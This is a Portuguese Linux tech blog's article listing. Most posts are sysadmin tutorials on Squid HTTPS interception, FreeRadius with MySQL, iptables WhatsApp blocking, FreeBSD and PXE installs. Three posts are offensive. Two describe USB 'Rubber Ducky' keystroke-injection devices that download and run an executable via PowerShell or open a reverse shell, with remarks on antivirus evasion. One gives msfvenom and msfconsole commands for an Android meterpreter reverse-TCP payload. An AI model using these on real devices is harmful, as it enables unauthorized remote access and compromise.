Artigos

Artigos

Artigos do prefirolinux

DIGISPARK ATTINY85: CRIANDO UM MINI ‘USB RUBBER DUCKY’

3
Ducky ;)

Pessoal, hoje como de costume quero mais uma vez pedir desculpas pelo site ter ficado fora do Ar, e agradecer imensamente ao Amigo e companheiro de Portal Filipe Coelho por ter rapidamente revertido a situação qual nos encontrávamos.

Com todas as desculpas devidamente upadas e carregadas vamos ao processo de descobertas e testes que sempre realizamos.

Pra ser sincero, essa área de microcontroladores nunca foi minha praia, eu tinha uma certa resistência em tentar aprender sobre, visto que; Sou portador de uma síndrome Frenética que me faz perder o foco e concentração e com meus estudos voltado ao Python(já era estudos do .PY) eu realmente receava perder o foco e aderir a incansável rotina de começar algo sem terminar.

Mas, pouco a pouco vou superando meus desequilíbrios mentais e construindo uma ponte entre o meu ‘eu’ e o ‘saber’. E isso é muito legal, nos faz perder o foco mas ganhar conhecimento, perder a data mas ganhar o dia entre vários outros pontos.

O tal de Filipe a alguns meses havia me presenteado com um Arduino Nano3, bichinho que hoje uso na construção de um carrinho para meu filho. E até então não havia brincado com ele, mas me vi na oportuna necessidade de adquirir um Arduino Pro-Micro(que basicamente usei pra mesma coisa do Digispark, porém com mais recursos) e ai então começou a saga em busca do aperfeiçoamento e dos meus objetivos, aliás, o Pro-Micro será em breve destaque de um artigo por aqui, por enquanto vamos nos focar(se é que consigo) no Digispark.

Bom, para quem não conhece, o bichinho é esse abaixo:

 

Attiny85
Attiny85

Pode ser facilmente encontrado no Mercado Livre e eu indico esse vendedor pois além de um preço bom tem muito cuidado, produtos confiáveis e muita atenção.
http://produto.mercadolivre.com.br/MLB-876073237-attiny85-attiny-85-digispark-kickstarter-usb-atmel-arduino-_JM
Precisaremos para esse projeto de :

  • 1 Digispark conforme referenciado acima

  • Muita paciência e calma, objetivos e criatividade, afinal, você decide o que quer fazer né?

Pois, com o Digispark Devidamente em mãos eu usei o IDE do Arduino (https://www.arduino.cc/en/Main/Software), na versão 1.8 .

Após baixar e instalar conforme seu sistema (plataforma) nós incluiremos as bibliotecas referentes a Digispark para que assim possamos escrever e enviar nossos códigos para o dispositivo.

Fiz esse pequeno vídeo(Pra quem não sabe instalar as bibliotecas isso vale a pena.) somente para servir de referência como funciona esse processo, e o link usado no vídeo é ‘ ESSE’ .

Após seguir todos os passos já podemos prosseguir com a criação dos códigos para nosso brinquedo. Eu aconselho ler alguma documentação para saber ou ter no mínimo a noção de que caminho seguir(Para que não usou ainda) para entender os comandos e etc que são usados pelo sistema.

No caso aqui eu usei para baixar um arquivo .EXE quando ‘espetado’ em computadores que rodem Windows, mas obviamente pode ser adaptado ao Linux e outros.

Por se tratar de um dispositivo que ‘simula’ a ação de um teclado(HID-Dispositivo físico e de entrada – HUMAN INTERFACE DEVICE ) e por estar devidamente especificado no meu código, então ao espetar o dispositivo em um computador ele será reconhecido como teclado, iniciará a execução dos códigos. E como eu fui bem específico e já disse, vou baixar um arquivo executável de uma URL qualquer(usei como teste pra esse vídeo um server local, mas poderia estar hospedado em algum lugar em algum servidor) e com a ajuda do superseguro POWERSHELL da M$ eu vou executar esse arquivo.

O detalhe fica por conta da sua imaginação, competência para criar o payload (no caso né) visto que o fato de ter um dispositivo de confiança ou HID executando as ações não significa eventual omissão do AV em relação ao arquivo. Se for um payload que seja de fácil detecção então meu amigo, tenha certeza que você pode até entrar numa fria, por tanto, todos os passos aqui descritos são apenas para fins de estudos e conhecimentos sobre as ferramentas usadas. Muito Cuidado e mesmo assim Todo cuidado ainda é pouco!

Após baixarmos e instalamos as Bibliotecas dos contribuidores, escrever o código com alguma objetividade, verificar a compilação é chegada a hora de upar esse código(compilar e etc..) a nosso brinquedo. Por tanto eu fiz mais um pedacinho de vídeo, também sem áudio apenas descrevendo as ações bem lentamente para que seja de fácil acompanhamento.

Lembrem-se: Cada passo de uma vez, primeiro baixar a IDE, A Bibli…, escrever o código, testar o sketch, verificar se o tamanho não é superior ao permitido pelo dispositivo e claro, o último e mais bacana mas não menos importante: Fazer todos os testes antes de sair bancando o Elliot (leia-se MR. Robot 😀 ) por ai.

Feito isso, bom, tenho abaixo um teste do meu em execução e dando acesso a uma máquina.

 

Link para baixar o Codigo AQUI!

Qualquer dúvida, fale conosco, envie e-mail, faça um comentário, ajudem a manter esse site vivo para que não fiquemos somente sugando o Filipe pô. Afinal, não somos de ficar noticiando coisas mas temos bastante conhecimento e experiência a compartilhar. Falta incentivo da parte de vocês!

Abraços, até mais…!

By…

Thiago F. Cruz

FreeRadius Advanced Using Mysql for Mikrotik: PPPOE server + mysql ippool, login user, nas, configuration radius , control user simultaneous, Control user Mac Address and Queue in MK.

1

Fala pessoal, segunda parte do vídeo, e aqui vamos dar sequência as configurações avançadas do Freeradius.

Parte 1 Configurando Servidor Freeradius + Mysql para pppoe no Mikrotik

Neste vídeo, vamos trabalhar de forma diferente do primeiro, aliás, é interessante que você tenha visto o primeiro para que possamos entender as mudanças nas configurações em relação a ele.

Então, vejam o vídeo, no mais alguns dos comandos usados estão disponíveis logo a baixo e eu estou atualizando esse post (infelizmente estou com um problema no nervo do braço esquerdo e quase não estou conseguindo digitar, então irei atualizando calmamente isso. OK?)

 

 

 

 

Os comandos usados neste vídeo foram:

root@mysql /# mysql -uroot -pThiago123
mysql> create database radius;

mysql> grant all privileges on radius.* to radius@localhost identified by 'Thiago123'

mysql> \q
Bye

Importando as databases, ou scripts que já vem preconfigurados com o freeradius:


root@mysql /# mysql -uroot -pThiago123 radius < /etc/freeradius/sql/mysql/schema.sql
root@mysql /# mysql -uroot -pThiago123 radius < /etc/freeradius/sql/mysql/nas.sql
root@mysql /# mysql -uroot -pThiago123 radius < /etc/freeradius/sql/mysql/ippool.sql  

 



Alterar o radusergroup:

 

Alimentar as Tabelas :



 

SQUID PROXY COM INTERCEPTAÇÃO HTTPS

0
Squid_logo

Boa pessoal, estamos sumidos, na verdade eu ando muito desanimado com qualquer coisa e há tempos desejava criar novos tutoriais e videos, porém, os problemas de saúde e outros acabam por deixar o nosso tempo pouco. Não bastasse, o desgaste é bem desanimador.
Mas sem continuar falando de coisa triste, vamos ao que interessa: Squid proxy interceptando trafego https.

É  uma solução para o controle em ambientes onde existe a real necessidade de controlar acesso, filtrar buscas por palavras e até mesmo impor restrições de segurança. Claro, o proxy por si só não irá proteger sua rede, até porque em grande parte, os problemas são causados quando existe fragilidade no elo mais fraco, o usuario! Contudo, filtrar sites com conteúdo adulto, pirataria, redes sociais já pode desafogar um pouco do consumo de banda, além claro de possibilitar a analise de sites mais visitados, possibilitar algum cache e bloquear o tik tok(brincadeira – o nft seria mais indicado).
Bom, sem mais, vamos ao que interessa…

Para este tutorial eu usei o slackware 15 por rodar bem no hardware qual tenho hoje como gateway, uma c847 com duas portas ethernet de 1Gbps. Portanto, para outras distribuições esse processo poder ter variação de local de arquivos ou binarios(Exceto o diretorio do squid). O diretorio do squid se localiza nas distribuições linux mais conhecidas em “/etc” .

No nosso caso, o primeiro passo é instalar o pacote do squid, e caso você não o tenha instalado, então sugiro que o faça via sbopkg.
Para instalar o sbopkg você pode consultar mais informações em https://sbopkg.org .
Mas para facilitar sua vida, abra um terminal e como root ou usando sudo faça:

cd /tmp && wget https://github.com/sbopkg/sbopkg/releases/download/0.38.2/sbopkg-0.38.2.tar.gz

Após o download, faça um dos dois procedimentos, o primeiro instala e o segundo é update:

installpkg sbopkg-version-noarch-1_wsr.tgz

ou

upgradepkg sbopkg-version-noarch-1_wsr.tgz

Depois, rode o sbopk, entre na opção sync e aguarde…
Logo após, vá em search, digite squid e escolha a opção string.
Selecione o squid, selecione OK e pressione a tecla “P” ou vá até ‘process’ e de enter.
Ele vai processar a fila, baixar, compilar e instalar o pacote.

Essa é a etapa mais demorada, na minha humilde plaquinha foram quase uma hora(dual core de 1.1ghz).

Após todo processo, vá para o diretorio do squi que fica localizado em /etc;

cd /etc/squid

Faça um backup do squid.conf

cp squid.conf squid.conf.o

Crie o diretorio de politicas ou como desejar dentro do diretorio do squid, esse diretorio armazenará os arquivos com as politicas de ‘acl’, portanto, é interessante que ele fique neste diretorio até por questões de organização.

mkdir -p /etc/squid/politicas

Crie o diretorio para gerarmos nossos arquivos de certificados:
mkdir -p /etc/squid/certs

Use o seu editor de texto preferido e faça as alterações que considerar necessarias(o objetivo aqui é abordar a geração de certificados e do banco de dados ssl).
Um squid.conf que talvez possa ajudar:

acl localnet src 10.0.0.0/8 # RFC1918
acl localnet src 172.16.0.0/12 # RFC1918
acl localnet src 192.168.0.0/16 # RFC1918
acl SSL_ports port 443
acl Safe_ports port 80 # http
acl Safe_ports port 21 # ftp
acl Safe_ports port 443 # https
acl Safe_ports port 70 # gopher
acl Safe_ports port 210 # wais
acl Safe_ports port 280 # http-mgmt
acl Safe_ports port 488 # gss-http
acl Safe_ports port 591 # filemaker
acl Safe_ports port 777 # multiling http
acl allowed dstdomain .whatsapp.com:5222 .whatsapp.com:443
http_access allow allowed
acl blockkeyword url_regex -i "/etc/squid/politicas/palavras-bloqueadas.acl"
acl localnetsites dstdomain "/etc/squid/politicas/dominios-liberados.acl"
acl blockeddomain dstdomain "/etc/squid/politicas/dominios-bloqueados.acl"
acl bypass_caching dstdomain "/etc/squid/politicas/sites_fora_proxy.acl"
cache deny bypass_caching
http_access deny blockeddomain
acl myports port "/etc/squid/politicas/portas.liberadas.acl"
acl myaddrs dst "/etc/squid/politicas/ips.liberados.acl"
http_access allow myports myaddrs
acl CONNECT method CONNECT
http_access allow manager
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access deny blockkeyword
http_access allow localhost
http_access allow localnet
http_access allow localhost
http_access deny all
http_port 3128 ssl-bump \
cert=/etc/squid/certs/squid-ca-cert-key.pem \
generate-host-certificates=on dynamic_cert_mem_cache_size=16MB
https_port 3129 intercept ssl-bump \
cert=/etc/squid/certs/squid-ca-cert-key.pem \
generate-host-certificates=on dynamic_cert_mem_cache_size=16MB
sslcrtd_program /usr/libexec/security_file_certgen -s /var/lib/ssl_db -M 16MB
acl splice_it ssl::server_name "/etc/squid/politicas/fora-proxy-cache.acl"
acl splice_local ssl::server_name "/etc/squid/politicas/dominios-locais-fora-proxy.acl"
acl step1 at_step SslBump1
ssl_bump peek step1
ssl_bump splice splice_it
ssl_bump splice splice_local
ssl_bump bump all
visible_hostname NOME_DA_MAQUINA
coredump_dir /var/spool/squid
refresh_pattern ^ftp: 1440 20% 10080
refresh_pattern ^gopher: 1440 0% 1440
refresh_pattern -i (/cgi-bin/|\?) 0 0% 0
refresh_pattern . 0 20% 4320
pid_filename /var/run/squid/squid.pid
cache_effective_user nobody
cache_effective_group nobody
cache deny localnetsites

Crie seus arquivos de politicas e regras acl, lembrando de substituir a localização das acl acima pelas suas ou de criar as acls informadas no squid.conf.
Agora vamos da uma olhada nas seguintes linhas, as mesmas estão destacadas no squid.conf acima:

http_port 3128 ssl-bump \
cert=/etc/squid/certs/squid-ca-cert-key.pem \
generate-host-certificates=on dynamic_cert_mem_cache_size=16MB
https_port 3129 intercept ssl-bump \
cert=/etc/squid/certs/squid-ca-cert-key.pem \
generate-host-certificates=on dynamic_cert_mem_cache_size=16MB
sslcrtd_program /usr/libexec/security_file_certgen -s /var/lib/ssl_db -M 16MB

Elas definem o local onde iremos  armazenar o certificado que criaremos em seguida. Este certificado será usado para importarmos nas maquinas que terão o squid como proxy.

No caso acima, definimos esse diretorio como “/etc/squid/certs” e a ultima linha:
sslcrtd_program /usr/libexec/security_file_certgen -s /var/lib/ssl_db -M 16MB
Se refere ao local do banco de dados de certificados setados no squid.conf.
Com essa breve configuração e squid parado, vamos gerar os nossos certificados:
cd /etc/squid/certs

E, agora usando o openssl, geramos nossos dois arquivos; Um certificado e uma chave privada.

~#openssl req -new -newkey rsa:2048 -sha256 -days 365 -nodes -x509 -extensions v3_ca -keyout squid-ca-key.pem -out squid-ca-cert.pem

Vamos usar o cat para pegar o conteúdo dos dois arquivos e redirecionar para um outro, no caso o arquivo que conterá tanto o nosso certificado quanto nossa private key:
~# cat squid-ca-cert.pem squid-ca-key.pem >> squid-ca-cert-key.pem

O arquivo acima, em destaque é o que iremos transferir para as maquinas clientes do squid.
Vamos aproveitar e gerar/inicializar  a base de dados de certificados:
~# /usr/libexec/security_file_certgen -c -s /var/lib/ssl_db -M 16MB

Na antepenúltima e penúltima linha nós temos o seguinte:

cache_effective_user nobody
cache_effective_group nobody

Essas duas linhas acimas representam para o cache o usuario e grupo, ou seja, as permissões de usuario e grupo que serão utilizadas. Aproveitamos e atribuimos essas permissões para o diretorio do squid e tudo que nele tiver presente.
~# chow -R nobody:nobody /etc/squid
Desta forma estamos aplicando as permissões para que o squid funcione sem problemas

Outras permissões para outros diretorios podem ser necessarias, experimente rodar ~#squid -k parse, leia as informações de log e veja se suas permissões estão corretas, caso necessario, aplique as permissões para nobody e restarte o serviço.
Após estes passos, bem provavel que tudo funcione, mesmo que com alertas sobre as acls(crie as acls).

Bom pessoal, como o intuito era vermos a parte do ssl, acredito que o tutorial se alongou até demais. De qualquer forma, se ainda tiver duvidas, comente ai.

Referencias
-> https://elatov.github.io/2019/01/using-squid-to-proxy-ssl-sites/
-> https://wiki.squid-cache.org/Features/DynamicSslCert

RFC 1918
-> https://www.rfc-editor.org/rfc/rfc1918.html

ARDUINO PRO MICRO – ‘USB RUBBER DUCKY’ – V 1.0

0
Pro Micro

Pessoal, vamos aqui dar uma olhadinha em alguns pontos do nosso vídeo sobre o Arduino Pro Micro…
Como eu já havia dito no Artigo sobre o Digispark eu faria algo sobre o Arduino, bem similar porém por se tratar de um dispositivo de maior performance, não quando falamos de processamento, mas em diversos outros fatores, inclusive pela aplicação.
Certo, que o vídeo tenha sido de alguma valia e eu acredito que tenha sido, eu vou aqui abordar alguns assuntos que não foram abordados no vídeo pois o deixaria com um tamanho muito grande e até cansativo para todos nós. Ok?

 

Um dos Tópicos que gostaria de abordar, porém não tive oportunidade era sobre as especificações do Pro-Micro. Então, deixo para vocês o link do datasheet do carinha.

Clique para acessar o ProMicro16MHzv1.pdf

 

Outros que eram para ter sido debatido era as instruções dos códigos usados, e rapaz, se você já tem algum conhecimento não terá alguma dificuldade, mas caso não tenha eu realmente reforço o que disse no vídeo, leia um pouco sobre.

O primeiro código:

No primeiro código que escrevi, e enviei ao Arduino no vídeo nós realizamos uma simples execução, abrir um navegador e depois abrir um site, especificamente o prefirolinux.com.
Este foi o código(primeiro) usado por mim no vídeo.

Depois disso, mostrei um código um pouco maior, também realizei a conexão ao kali e de forma clara acredito ter falado um pouco sobre o Arduino Reverse Shell Generator( ).
Este por sua vez, facilitou muito o processo realizado naquele instante, claro, não temos obrigatoriamente que criar todos os arquivos usando o shell generator.

Bom, depois de baixar o Programa e fazer todo aquele processo, faltará o código, e isso pode ser encontrado abaixo.

 

Este código, está configurado de forma a acessar um server especifico e abrir a shell.txt.

Caso for usar este código, faça as devidas alterações no link onde está hospedada sua shell… 😀

Com isso, basta seguir o passo a passo do vídeo e não terá como dar errado.

Para a mudanças de caracteres, farei um mapa das modificações em um post a parte e agradeço a todos pela visita.
Amanhã ou depois irei upar um novo vídeo, com mais recursos e novidades.

 

Abraços e até mais!! 😉

 

Exploit Android 6 usando MSFvenom (Kali 2.2016)

0

Gente, nesse video eu mostro como com poucos comandos você pode explorar um Android na versão 6.0.
O video não tem intenção de ensinar ou induzir ninguém a invadir a privacidade de terceiros, mas sim demonstrar que falhas podem ser exploradas.

Usei apenas o msfvenom sem opções de encoder, arquitetura ou outros, basicamente apenas um exploit gerado pelo kali e que me deu acesso de forma reversa ao Android.
Aparelho : Moto G segunda Geração com android 6.0 com ultima atualização de segurança instalado.

Comandos usado neste video…
Criar o exploit, substitua ip pelo seu ip, porta pela devida porta e de o nome do app:
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=PORTA -o app.apk

Para estabelecer conexão :
msfconsole

use multi/handler

set payload android/meterpreter/reverse_tcp

set lhost IP_KALI

set lport porta

exploit -j ou run ou somente exploit

Bom, por hoje é só, logo mais mostro como deixar este exploit como algo que inicia todas as vezes que o dispositivo for ligado, obtendo assim um acesso monstro ao Android….rsrs
abraços

 

 

 

Instalando a Toolchain para AVR no Debian

1

Ola pessoal!

Meu nome é Filipe e hoje irei mostrar como preparar um ambiente basico para programação de microcontroladores atmel AVR-8bits.

Instalação do FreeBSD 10.3

0

FreeBSD é um dos mais antigos e bem sucedidos projetos.
Certamente pela confiabilidade, robustez e desempenho do sistema.

Neste tutorial, vou instalar o FreeBSD 10.3 e depois instalar um ambiente Gráfico. (XFCE KDE Gnome).

Passo 1 – Transferir.

Clique no link https://www.freebsd.org/ para obter o FreeBSD.
clique em sua arquitetura no FreeBSD 10.3 Se você tem uma máquina de 64 bits ou uma máquina com processador Intel / AMD de 64 bits, escolha amd64. O ia64 é para processadores baseados em Itanium.

Se você tem uma máquina de 32 bits ou uma máquina
com um processador Intel / AMD de 32 bits, escolha
o i386. A maioria das máquinas mais velhas e laptops
irá utilizar esta versão.

Para usuários de Mac com processadores
baseados em Power-PC, escolher o Power-PC apropriado
(32-bit) ou PowerPC64 (64-bit) download.

O sparc64 é para processadores baseados em SPARC,
comumente usados em máquinas Sun / Oracle.

Passo 2 – Comece o Instalar.

Bloqueio Seletivo Whatsapp usando Iptables

0

Olá, meu nome é Thiago Ferreira e sou um dos colaboradores do PrefiroLinux, hoje mostrarei como podemos executar um bloqueio seletivo  de whatsapp e facebook usando apenas o iptables. Muito útil em ambientes onde se usa proxy transparente e não há  a possibilidade exectuar os devidos bloqueios e liberação pelas ACL’s do squid.
Aqui faremos de uma forma simples que requer apenas o conhecimento dos ips a serem bloqueados , estes se tratando da rede interna. E os ips que serão liberados, no caso apresentado os ips de nível publico.
Aqui deixo o script de forma bem simples, comentada e bem apresentado, inclusive com a notação de que cada comando fará, como o iptables tratará as regras básicas descritas.
Esse conteúdo originalmente foi incluído em minhas rotinas de bloqueio por volta de junho de 2015, após pesquisas feitas principalmente no linuxquestions.org e adaptado as minhas necessidades. Então, para futuras duvidas e buscas a base de busca deve ser o linuxquestions.
Sendo que aqui no nosso fórum temos o devido espaço para quaisquer esclarecimentos, vide;
http://forum.prefirolinux.com

As linhas são auto explicativas,  os comentários devem permanecer com o “#” antes das linhas que não são parte do script afim de evitar quaisquer erro de leitura do bash.

Criem os arquivos, bloqueio_seletivo, ipsliberados e ipsinterno

$nano /usr/share/bloqueio_seletivo
e dentro dele insira o seguinte script


Na lista de ipsliberados entre com os ips disponiveis no proprio site do whatsapp: https://www.whatsapp.com/cidr.txt .
Basta adicionar a lista a um arquivos em “/usr/share” :
$nano /usr/share/ipsliberados
Como exemplo, poderiamos ter uma serie de ips nessa ordem:

31.13.58.55
31.55.44.77
178.88.14.100

Adicione os ips, e crie um novo arquivo para inserirmos os ips da rede interna:

$nano /usr/share/ipsinterno

Em ipsinterno insiram os ips da sua rede, lembrando de seguir a seguinte regra.
Ips que serão bloqueados devem conter o “#” antes, pois o cut fará a leitura levando em consideração que esses são os unicos que devem ser tratados.
#10.10.10.44
#10.10.10.24
10.10.10.8
No caso acima, somente os dois primeiros serão bloqueados de acessar os serviços dos “ipsliberados”,  o “10.10.10.8” terá total acesso ao trafego.

Caso deseje, liste apenas os ips permitidos, sem a necessidade de usar o “#” antes do ip, ficando assim:
10.10.10.55
10.10.10.22

Aqui um exemplo do script limpo e sem comentarios…

Lembrem-se, leia todo o conteúdo do post inclusive do script para melhor entendimento.
Suporte no forum do prefirolinux.
Boa diversão

 

 

Instalação Debian e derivados via PXE [ live e install network pxe debian]

0
Pxe install

 

Instalando uma distribuição Linux via PXE, totalmente OFFLINE, sem uso de internet para baixar qualquer arquivo que não seja a imagem completa(full) do sistema, nada de ficar baixando pacotes durante a instalação!!!…
Administrar grandes quantidades de computadores nem sempre é uma tarefa fácil, por exemplo, quando se tem que formatar ou atualizar um grande numero de maquinas, mas que de certa forma implique na dificuldade de ter que fazer em maquina por maquina.
Esta solução foi testada amplamente em varias versões de S.O derivados do Ubuntu, como Xubuntu, Kubuntu, Ubuntu Server e o próprio Ubuntu .